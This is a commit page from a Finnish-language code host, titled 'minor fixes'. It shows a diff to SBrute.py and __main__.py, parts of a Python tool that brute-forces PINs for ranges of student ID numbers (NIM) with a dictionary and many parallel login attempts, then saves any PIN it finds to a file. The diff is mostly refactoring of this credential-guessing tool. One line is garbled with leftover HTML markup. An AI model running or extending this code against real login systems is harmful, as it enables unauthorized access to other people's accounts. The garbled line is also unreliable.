Selaa lähdekoodia

minor fixes

master
myitinos 2 vuotta sitten
vanhempi
commit
cfd64833f3
2 muutettua tiedostoa jossa 23 lisäystä ja 22 poistoa
  1. +14
    -9
      SBrute.py
  2. +9
    -13
      __main__.py

+ 14
- 9
SBrute.py Näytä tiedosto

@ -32,11 +32,15 @@ class SBrute(object):
total=len(self.dictionary))
self.found = False
self.result = []
if start:
self.start()
def login(self, pin: str, depth: int = 0, maxRetry: int = 8):
def login(self,
pin: str,
depth: int = 0,
maxRetry: int = 8):
try:
if self.found:
return
@ -45,7 +49,9 @@ class SBrute(object):
if conn.login():
self.found = True
return pin
except (requests.ConnectTimeout, requests.ConnectionError, requests.exceptions.ChunkedEncodingError) as ex:
except (requests.ConnectTimeout,
requests.ConnectionError,
requests.exceptions.ChunkedEncodingError) as ex:
logging.debug('{} occured {} {}, {} of {} retries'.format(
str(ex), self.nim, pin, depth, maxRetry))
@ -73,25 +79,24 @@ class SBrute(object):
except FileNotFoundError:
pass
else:
result = self.login(pin, depth=1)
if result == pin:
self.result.="n">append class="p">(self.login(pin, depth=1))
if self.result == pin:
logging.info('Saved pin is good.')
return
else:
logging.warning('Saved pin is bad, trying normal method.')
os.remove(filename)
with Pool(self.thread) as pool:
result = pool.map(self.login, self.dictionary)
result = list(set(result))
result.remove(None)
self.result += pool.map(self.login, self.dictionary)
self.result = result
self.result = list(set(self.result))
self.result.remove(None)
finally:
self.tEnd = time.time()
if self.found and self.result is not None:
with open('found/{}'.format(self.nim), 'w') as logfile:
logging.info(str(self.result))
logfile.write(self.result[0])
logmsg = 'FOUND {} {}'.format(self.nim, self.result[0])
else:

+ 9
- 13
__main__.py Näytä tiedosto

@ -34,7 +34,7 @@ def parse_argument():
action="store_true",
default=False,
help="disable progress bar")
parser.add_argument("--disable-progressbar",
parser.add_argument("--disable-progress-bar",
action="store_true",
default=False,
help="disable progress bar")
@ -68,11 +68,6 @@ def parse_argument():
type=int,
nargs=2,
help="range of target NIM to bruteforce, END is included in the range")
parser.add_argument("-P", "--process",
metavar="N",
type=int,
default=cpu_count(),
help="Specify number of process to use, default value is CPU Count.")
parser.add_argument("-T", "--thread",
metavar="N",
type=int,
@ -103,17 +98,18 @@ if __name__ == '__main__':
logging.critical('Target is empty!')
exit(1)
logging.info("Starting bruteforce with {} process(es) for {} target(s)".format(
args.process, len(target)))
logging.info(
"Starting bruteforce with {} thread(s) for {} target(s)".format(
args.thread, len(target)))
try:
bar = None
for t in target:
s = SBrute(nim=t,
thread=args.thread,
disableProgressBar=args.disable_progressbar,
start=False)
done.append(s.start())
disableProgressBar=args.disable_progress_bar,
start=True)
done.append(t)
# with Pool(args.process) as pool:
# pool.starmap(SBrute, [(t, args.thread, True, positionQueue)
@ -133,5 +129,5 @@ if __name__ == '__main__':
logging.info(
'Program terminated prematurely. Writing remaining target to temp.txt')
with open(args.outfile, 'w') as outfile:
outfile.write('\n'.join([str(t)
for t in target if t not in done]))
outfile.write(
'\n'.join([str(t) for t in target if t not in done]))

Ladataan…
Peruuta
Tallenna